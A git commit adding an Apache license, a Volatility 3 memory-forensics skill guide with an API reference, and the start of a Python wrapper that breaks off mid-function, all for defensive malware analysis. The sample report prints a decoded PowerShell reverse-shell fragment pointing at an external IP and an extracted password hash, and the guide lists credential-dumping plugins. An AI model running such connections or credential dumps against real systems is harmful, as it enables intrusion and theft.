reverse-skills-max: initial public release (restored, redacted, hardened)
This commit is contained in:
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,313 @@
|
||||
---
|
||||
name: analyzing-memory-dumps-with-volatility
|
||||
description: 'Analyzes RAM memory dumps from compromised systems using the Volatility framework to identify malicious processes,
|
||||
injected code, network connections, loaded modules, and extracted credentials. Supports Windows, Linux, and macOS memory
|
||||
forensics. Activates for requests involving memory forensics, RAM analysis, volatile data examination, process injection
|
||||
detection, or memory-resident malware investigation.
|
||||
|
||||
'
|
||||
domain: cybersecurity
|
||||
subdomain: malware-analysis
|
||||
tags:
|
||||
- malware
|
||||
- memory-forensics
|
||||
- Volatility
|
||||
- RAM-analysis
|
||||
- incident-response
|
||||
mitre_attack:
|
||||
- T1055
|
||||
- T1003
|
||||
- T1059
|
||||
- T1620
|
||||
version: 1.0.0
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- DE.AE-02
|
||||
- RS.AN-03
|
||||
- ID.RA-01
|
||||
- DE.CM-01
|
||||
---
|
||||
|
||||
# Analyzing Memory Dumps with Volatility
|
||||
|
||||
## When to Use
|
||||
|
||||
- A compromised system's RAM has been captured and needs forensic analysis for malware artifacts
|
||||
- Detecting fileless malware that exists only in memory without persistent disk artifacts
|
||||
- Extracting encryption keys, passwords, or decrypted configuration from process memory
|
||||
- Identifying process injection, DLL injection, or process hollowing in a compromised system
|
||||
- Analyzing rootkit activity that hides from standard disk-based forensic tools
|
||||
|
||||
**Do not use** for disk image analysis; use Autopsy, FTK, or Sleuth Kit for disk forensics.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Volatility 3 installed (`pip install volatility3`) with symbol tables for target OS
|
||||
- Memory dump file acquired from the target system (using WinPmem, LiME, or DumpIt)
|
||||
- Knowledge of the source OS version for correct profile/symbol selection
|
||||
- Sufficient disk space (memory dumps can be 4-64 GB)
|
||||
- YARA rules for scanning memory for known malware signatures
|
||||
- Strings utility for extracting readable strings from memory regions
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Identify the Memory Dump Profile
|
||||
|
||||
Determine the operating system and version from the memory dump:
|
||||
|
||||
```bash
|
||||
# Volatility 3: Automatic OS detection
|
||||
vol3 -f memory.dmp windows.info
|
||||
|
||||
# List available plugins
|
||||
vol3 -f memory.dmp --help
|
||||
|
||||
# If symbols are needed, download from:
|
||||
# https://downloads.volatilityfoundation.org/volatility3/symbols/
|
||||
|
||||
# For Volatility 2 (legacy):
|
||||
vol2 -f memory.dmp imageinfo
|
||||
vol2 -f memory.dmp kdbgscan
|
||||
```
|
||||
|
||||
### Step 2: Enumerate Running Processes
|
||||
|
||||
List all processes and identify suspicious entries:
|
||||
|
||||
```bash
|
||||
# List all processes
|
||||
vol3 -f memory.dmp windows.pslist
|
||||
|
||||
# Process tree (parent-child relationships)
|
||||
vol3 -f memory.dmp windows.pstree
|
||||
|
||||
# Scan for hidden/unlinked processes (rootkit detection)
|
||||
vol3 -f memory.dmp windows.psscan
|
||||
|
||||
# Compare pslist vs psscan to find hidden processes
|
||||
# Processes in psscan but not pslist are potentially hidden by rootkits
|
||||
|
||||
# Check for process hollowing
|
||||
vol3 -f memory.dmp windows.pslist --dump
|
||||
# Then verify the dumped EXE matches the expected binary on disk
|
||||
```
|
||||
|
||||
```
|
||||
Suspicious Process Indicators:
|
||||
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
- svchost.exe not spawned by services.exe (wrong parent)
|
||||
- csrss.exe/lsass.exe with unusual parent process
|
||||
- Multiple instances of lsass.exe (should be only one)
|
||||
- Processes with misspelled names (scvhost.exe, lssas.exe)
|
||||
- cmd.exe or powershell.exe spawned by WINWORD.EXE or browser
|
||||
- Processes running from unusual paths (%TEMP%, %APPDATA%)
|
||||
- Processes with no parent (orphaned - parent terminated)
|
||||
```
|
||||
|
||||
### Step 3: Detect Malicious Code Injection
|
||||
|
||||
Scan for injected code and process hollowing:
|
||||
|
||||
```bash
|
||||
# Detect injected code in processes (malfind)
|
||||
vol3 -f memory.dmp windows.malfind
|
||||
|
||||
# Malfind looks for:
|
||||
# - Memory regions with PAGE_EXECUTE_READWRITE protection
|
||||
# - Memory regions containing PE headers (MZ/PE signature)
|
||||
# - VAD (Virtual Address Descriptor) anomalies
|
||||
|
||||
# Dump injected memory regions for analysis
|
||||
vol3 -f memory.dmp windows.malfind --dump --pid 2184
|
||||
|
||||
# List loaded DLLs per process
|
||||
vol3 -f memory.dmp windows.dlllist --pid 2184
|
||||
|
||||
# Detect hollowed processes by comparing mapped image to disk
|
||||
vol3 -f memory.dmp windows.hollowfind
|
||||
|
||||
# Scan for loaded drivers (potential rootkit drivers)
|
||||
vol3 -f memory.dmp windows.driverscan
|
||||
|
||||
# List kernel modules
|
||||
vol3 -f memory.dmp windows.modules
|
||||
```
|
||||
|
||||
### Step 4: Analyze Network Connections
|
||||
|
||||
Extract active and closed network connections:
|
||||
|
||||
```bash
|
||||
# List all network connections (active and listening)
|
||||
vol3 -f memory.dmp windows.netscan
|
||||
|
||||
# Output columns: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner
|
||||
|
||||
# Filter for established connections to external IPs
|
||||
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED
|
||||
|
||||
# For older Windows (XP/2003):
|
||||
vol3 -f memory.dmp windows.netstat
|
||||
|
||||
# Cross-reference PIDs with process list
|
||||
# Suspicious: svchost.exe connected to external IP on non-standard port
|
||||
# Suspicious: notepad.exe or calc.exe with network connections
|
||||
```
|
||||
|
||||
### Step 5: Extract Artifacts and Credentials
|
||||
|
||||
Recover sensitive data from memory:
|
||||
|
||||
```bash
|
||||
# Dump process memory for a specific PID
|
||||
vol3 -f memory.dmp windows.memmap --dump --pid 2184
|
||||
|
||||
# Extract command-line history
|
||||
vol3 -f memory.dmp windows.cmdline
|
||||
|
||||
# Extract environment variables
|
||||
vol3 -f memory.dmp windows.envars --pid 2184
|
||||
|
||||
# Registry analysis (extract Run keys for persistence)
|
||||
vol3 -f memory.dmp windows.registry.printkey \
|
||||
--key "Software\Microsoft\Windows\CurrentVersion\Run"
|
||||
|
||||
# Extract hashed/cached credentials
|
||||
vol3 -f memory.dmp windows.hashdump
|
||||
vol3 -f memory.dmp windows.cachedump
|
||||
vol3 -f memory.dmp windows.lsadump
|
||||
|
||||
# Extract clipboard contents
|
||||
vol3 -f memory.dmp windows.clipboard
|
||||
|
||||
# File extraction from memory
|
||||
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
|
||||
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560
|
||||
```
|
||||
|
||||
### Step 6: Scan Memory with YARA Rules
|
||||
|
||||
Apply YARA signatures to detect known malware in memory:
|
||||
|
||||
```bash
|
||||
# Scan entire memory dump with YARA rules
|
||||
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar
|
||||
|
||||
# Scan specific process memory
|
||||
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184
|
||||
|
||||
# Built-in YARA scan for common patterns
|
||||
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"
|
||||
|
||||
# Scan for encryption key material
|
||||
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"
|
||||
```
|
||||
|
||||
### Step 7: Timeline and Report Generation
|
||||
|
||||
Create an analysis timeline and compile findings:
|
||||
|
||||
```bash
|
||||
# Generate comprehensive timeline
|
||||
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv
|
||||
|
||||
# Timeline includes:
|
||||
# - Process creation/exit times
|
||||
# - Network connection timestamps
|
||||
# - Registry modification times
|
||||
# - File access times
|
||||
|
||||
# Export process list for reporting
|
||||
vol3 -f memory.dmp windows.pslist --output csv > processes.csv
|
||||
|
||||
# Export network connections
|
||||
vol3 -f memory.dmp windows.netscan --output csv > network.csv
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Term | Definition |
|
||||
|------|------------|
|
||||
| **Memory Forensics** | Analysis of volatile memory (RAM) contents to identify running processes, network connections, and in-memory artifacts that may not exist on disk |
|
||||
| **Process Hollowing** | Malware technique of creating a legitimate process in suspended state, replacing its memory with malicious code, then resuming execution |
|
||||
| **Malfind** | Volatility plugin detecting injected code by identifying memory regions with executable permissions and PE headers in non-image VADs |
|
||||
| **VAD (Virtual Address Descriptor)** | Windows kernel structure tracking memory regions allocated to a process; anomalies in VADs indicate injection or hollowing |
|
||||
| **EPROCESS** | Windows kernel structure representing a process; rootkits unlink EPROCESS entries to hide processes from standard tools |
|
||||
| **Pool Tag Scanning** | Memory forensics technique scanning for kernel object pool tags to find objects (processes, files, connections) even when unlinked |
|
||||
| **Fileless Malware** | Malware that operates entirely in memory without creating files on disk; only detectable through memory forensics |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
- **Volatility 3**: Open-source memory forensics framework supporting Windows, Linux, and macOS memory analysis with plugin architecture
|
||||
- **WinPmem**: Memory acquisition tool for Windows systems that creates raw memory dumps for offline analysis
|
||||
- **LiME (Linux Memory Extractor)**: Loadable kernel module for capturing Linux system memory dumps
|
||||
- **Rekall**: Alternative memory forensics framework with some unique analysis capabilities (discontinued but still useful)
|
||||
- **MemProcFS**: Memory process file system allowing mounting memory dumps as file systems for intuitive analysis
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario: Detecting Fileless Malware After EDR Alert
|
||||
|
||||
**Context**: EDR detected suspicious PowerShell activity but the threat actor cleaned up disk artifacts. A memory dump was captured before the system was rebooted. The analysis needs to identify the malware, its persistence mechanism, and any lateral movement.
|
||||
|
||||
**Approach**:
|
||||
1. Run `windows.pstree` to identify the process chain (which process spawned PowerShell)
|
||||
2. Run `windows.malfind` to detect injected code in running processes
|
||||
3. Dump the suspicious process memory and extract strings for C2 URLs
|
||||
4. Run `windows.netscan` to identify network connections from the compromised processes
|
||||
5. Run `windows.cmdline` to see what commands PowerShell executed
|
||||
6. Scan with YARA rules for known malware families in the dumped process memory
|
||||
7. Extract credentials with `hashdump` and `lsadump` to assess lateral movement risk
|
||||
|
||||
**Pitfalls**:
|
||||
- Using the wrong symbol tables for the OS version (causes plugin failures or incorrect results)
|
||||
- Not comparing `pslist` vs `psscan` output (missing rootkit-hidden processes)
|
||||
- Ignoring legitimate processes that have been injected into (focus on malfind results, not just process names)
|
||||
- Not extracting full process memory before concluding analysis (strings from process dump may reveal additional IOCs)
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
MEMORY FORENSICS ANALYSIS REPORT
|
||||
===================================
|
||||
Dump File: memory.dmp
|
||||
Dump Size: 16 GB
|
||||
OS Version: Windows 10 21H2 (Build 19044)
|
||||
Capture Tool: WinPmem 4.0
|
||||
Capture Time: 2025-09-15 14:35:00 UTC
|
||||
|
||||
SUSPICIOUS PROCESSES
|
||||
PID PPID Name Path Anomaly
|
||||
2184 1052 svchost.exe C:\Users\Admin\AppData\Temp\svchost.exe Wrong path
|
||||
4012 2184 powershell.exe C:\Windows\System32\powershell.exe Child of fake svchost
|
||||
3456 4012 cmd.exe C:\Windows\System32\cmd.exe Spawned by PowerShell
|
||||
|
||||
CODE INJECTION DETECTED (malfind)
|
||||
PID 852 (explorer.exe):
|
||||
Address: 0x00400000 Size: 98304 Protection: PAGE_EXECUTE_READWRITE
|
||||
Header: MZ (embedded PE detected)
|
||||
SHA-256 of dump: abc123def456...
|
||||
|
||||
NETWORK CONNECTIONS
|
||||
PID Process Local Foreign State
|
||||
2184 svchost.exe 10.1.5.42:49152 185.220.101.42:443 ESTABLISHED
|
||||
4012 powershell.exe 10.1.5.42:49200 91.215.85.17:8080 ESTABLISHED
|
||||
|
||||
EXTRACTED CREDENTIALS
|
||||
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
|
||||
|
||||
COMMAND LINE HISTORY
|
||||
PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
|
||||
Decoded: $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)
|
||||
|
||||
YARA MATCHES
|
||||
PID 2184: rule CobaltStrike_Beacon { matched at 0x00401200 }
|
||||
|
||||
TIMELINE
|
||||
14:10:00 svchost.exe (PID 2184) created from C:\Users\Admin\AppData\Temp\
|
||||
14:10:05 Network connection to 185.220.101.42:443 established
|
||||
14:12:30 powershell.exe (PID 4012) spawned by svchost.exe
|
||||
14:15:00 Code injection into explorer.exe (PID 852) detected
|
||||
14:20:00 Credential dump from LSASS process
|
||||
```
|
||||
@@ -0,0 +1,99 @@
|
||||
# API Reference: Volatility 3 Memory Forensics
|
||||
|
||||
## Core Syntax
|
||||
```bash
|
||||
vol3 -f <memory_dump> <plugin> [options]
|
||||
vol3 -f memory.dmp --help # List all plugins
|
||||
vol3 -f memory.dmp <plugin> --help # Plugin-specific help
|
||||
```
|
||||
|
||||
## Windows Plugins
|
||||
|
||||
### Process Analysis
|
||||
| Plugin | Purpose |
|
||||
|--------|---------|
|
||||
| `windows.pslist` | List active processes |
|
||||
| `windows.pstree` | Process tree (parent-child) |
|
||||
| `windows.psscan` | Pool-tag scan (finds hidden processes) |
|
||||
| `windows.cmdline` | Process command-line arguments |
|
||||
| `windows.envars` | Process environment variables |
|
||||
| `windows.handles` | Process handle table |
|
||||
|
||||
### Code Injection Detection
|
||||
| Plugin | Purpose |
|
||||
|--------|---------|
|
||||
| `windows.malfind` | Detect injected code (RWX memory + PE headers) |
|
||||
| `windows.hollowfind` | Detect process hollowing |
|
||||
| `windows.dlllist` | List loaded DLLs per process |
|
||||
| `windows.ldrmodules` | Detect unlinked DLLs |
|
||||
|
||||
### Network
|
||||
| Plugin | Purpose |
|
||||
|--------|---------|
|
||||
| `windows.netscan` | List network connections and listeners |
|
||||
| `windows.netstat` | Network connections (older Windows) |
|
||||
|
||||
### Kernel / Rootkit
|
||||
| Plugin | Purpose |
|
||||
|--------|---------|
|
||||
| `windows.ssdt` | System Service Descriptor Table hooks |
|
||||
| `windows.callbacks` | Kernel callback registrations |
|
||||
| `windows.driverscan` | Scan for driver objects |
|
||||
| `windows.modules` | Loaded kernel modules |
|
||||
| `windows.idt` | Interrupt Descriptor Table |
|
||||
|
||||
### Credentials
|
||||
| Plugin | Purpose |
|
||||
|--------|---------|
|
||||
| `windows.hashdump` | Dump SAM password hashes |
|
||||
| `windows.cachedump` | Dump cached domain credentials |
|
||||
| `windows.lsadump` | Dump LSA secrets |
|
||||
|
||||
### Registry
|
||||
| Plugin | Purpose |
|
||||
|--------|---------|
|
||||
| `windows.registry.printkey` | Print registry key values |
|
||||
| `windows.registry.hivelist` | List registry hives |
|
||||
| `windows.registry.certificates` | Extract certificates |
|
||||
|
||||
### File System
|
||||
| Plugin | Purpose |
|
||||
|--------|---------|
|
||||
| `windows.filescan` | Scan for file objects |
|
||||
| `windows.dumpfiles` | Extract files from memory |
|
||||
| `windows.memmap` | Dump process memory |
|
||||
|
||||
### YARA Scanning
|
||||
```bash
|
||||
vol3 -f memory.dmp yarascan.YaraScan --yara-file rules.yar
|
||||
vol3 -f memory.dmp yarascan.YaraScan --yara-file rules.yar --pid 2184
|
||||
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule Test { strings: $s = \"cmd.exe\" condition: $s }"
|
||||
```
|
||||
|
||||
### Timeline
|
||||
```bash
|
||||
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv
|
||||
```
|
||||
|
||||
## Output Options
|
||||
```bash
|
||||
vol3 -f memory.dmp windows.pslist --output csv > processes.csv
|
||||
vol3 -f memory.dmp windows.pslist --output json > processes.json
|
||||
vol3 -f memory.dmp windows.malfind --dump --pid 2184
|
||||
```
|
||||
|
||||
## Memory Acquisition Tools
|
||||
|
||||
| Tool | Platform | Command |
|
||||
|------|----------|---------|
|
||||
| WinPmem | Windows | `winpmem_mini_x64.exe memdump.raw` |
|
||||
| DumpIt | Windows | `DumpIt.exe` (interactive) |
|
||||
| LiME | Linux | `insmod lime.ko "path=/tmp/mem.lime format=lime"` |
|
||||
| AVML | Linux | `avml /tmp/memory.lime` |
|
||||
|
||||
## Symbols
|
||||
```bash
|
||||
# Download symbol packs
|
||||
# https://downloads.volatilityfoundation.org/volatility3/symbols/
|
||||
# Place in: volatility3/symbols/
|
||||
```
|
||||
@@ -0,0 +1,243 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Memory forensics agent using Volatility 3 for malware detection in RAM dumps."""
|
||||
|
||||
import shlex
|
||||
import subprocess
|
||||
import os
|
||||
import sys
|
||||
|
||||
|
||||
def run_vol3(memory_dump, plugin, extra_args=""):
|
||||
"""Execute a Volatility 3 plugin and return output."""
|
||||
cmd = ["vol3", "-f", memory_dump, plugin]
|
||||
if extra_args:
|
||||
cmd.extend(shlex.split(extra_args))
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
|
||||
return result.stdout.strip(), result.stderr.strip(), result.returncode
|
||||
|
||||
|
||||
def get_os_info(memory_dump):
|
||||
"""Identify the OS from the memory dump."""
|
||||
stdout, _, rc = run_vol3(memory_dump, "windows.info")
|
||||
if rc == 0:
|
||||
return {"os": "windows", "info": stdout}
|
||||
stdout, _, rc = run_vol3(memory_dump, "linux.info")
|
||||
if rc == 0:
|
||||
return {"os": "linux", "info": stdout}
|
||||
return {"os": "unknown", "info": ""}
|
||||
|
||||
|
||||
def list_processes(memory_dump):
|
||||
"""List all running processes using pslist."""
|
||||
stdout, _, rc = run_vol3(memory_dump, "windows.pslist")
|
||||
processes = []
|
||||
if rc == 0:
|
||||
for line in stdout.splitlines()[2:]:
|
||||
parts = line.split()
|
||||
if len(parts) >= 6 and parts[0].isdigit():
|
||||
processes.append({
|
||||
"pid": int(parts[0]),
|
||||
"ppid": int(parts[1]),
|
||||
"name": parts[4] if len(parts) > 4 else "",
|
||||
"offset": parts[0] if not parts[0].isdigit() else "",
|
||||
})
|
||||
return processes
|
||||
|
||||
|
||||
def scan_hidden_processes(memory_dump):
|
||||
"""Scan for hidden/unlinked processes using psscan."""
|
||||
stdout, _, rc = run_vol3(memory_dump, "windows.psscan")
|
||||
processes = []
|
||||
if rc == 0:
|
||||
for line in stdout.splitlines()[2:]:
|
||||
parts = line.split()
|
||||
if len(parts) >= 5 and parts[1].isdigit():
|
||||
processes.append({
|
||||
"offset": parts[0],
|
||||
"pid": int(parts[1]),
|
||||
"ppid": int(parts[2]) if parts[2].isdigit() else 0,
|
||||
"name": parts[4] if len(parts) > 4 else "",
|
||||
})
|
||||
return processes
|
||||
|
||||
|
||||
def find_hidden_processes(pslist_procs, psscan_procs):
|
||||
"""Compare pslist and psscan to identify DKOM-hidden processes."""
|
||||
pslist_pids = {p["pid"] for p in pslist_procs}
|
||||
hidden = [p for p in psscan_procs if p["pid"] not in pslist_pids and p["pid"] > 4]
|
||||
return hidden
|
||||
|
||||
|
||||
def detect_code_injection(memory_dump, pid=None):
|
||||
"""Detect injected code using malfind plugin."""
|
||||
extra = f"--pid {pid}" if pid else ""
|
||||
stdout, _, rc = run_vol3(memory_dump, "windows.malfind", extra)
|
||||
injections = []
|
||||
if rc == 0:
|
||||
current = {}
|
||||
for line in stdout.splitlines():
|
||||
if "PID" in line and "Process" in line:
|
||||
continue
|
||||
parts = line.split()
|
||||
if len(parts) >= 4 and parts[0].isdigit():
|
||||
if current:
|
||||
injections.append(current)
|
||||
current = {
|
||||
"pid": int(parts[0]),
|
||||
"process": parts[1] if len(parts) > 1 else "",
|
||||
"address": parts[2] if len(parts) > 2 else "",
|
||||
"protection": parts[3] if len(parts) > 3 else "",
|
||||
}
|
||||
elif current and line.strip():
|
||||
current["data_preview"] = current.get("data_preview", "") + line.strip() + " "
|
||||
if current:
|
||||
injections.append(current)
|
||||
return injections
|
||||
|
||||
|
||||
def get_network_connections(memory_dump):
|
||||
"""Extract network connections using netscan."""
|
||||
stdout, _, rc = run_vol3(memory_dump, "windows.netscan")
|
||||
connections = []
|
||||
if rc == 0:
|
||||
for line in stdout.splitlines()[2:]:
|
||||
parts = line.split()
|
||||
if len(parts) >= 7:
|
||||
connections.append({
|
||||
"protocol": parts[1] if len(parts) > 1 else "",
|
||||
"local_addr": parts[2] if len(parts) > 2 else "",
|
||||
"local_port": parts[3] if len(parts) > 3 else "",
|
||||
"foreign_addr": parts[4] if len(parts) > 4 else "",
|
||||
"foreign_port": parts[5] if len(parts) > 5 else "",
|
||||
"state": parts[6] if len(parts) > 6 else "",
|
||||
"pid": parts[7] if len(parts) > 7 else "",
|
||||
"owner": parts[8] if len(parts) > 8 else "",
|
||||
})
|
||||
return connections
|
||||
|
||||
|
||||
def get_command_lines(memory_dump):
|
||||
"""Extract process command lines."""
|
||||
stdout, _, rc = run_vol3(memory_dump, "windows.cmdline")
|
||||
cmdlines = []
|
||||
if rc == 0:
|
||||
for line in stdout.splitlines()[2:]:
|
||||
parts = line.split(None, 2)
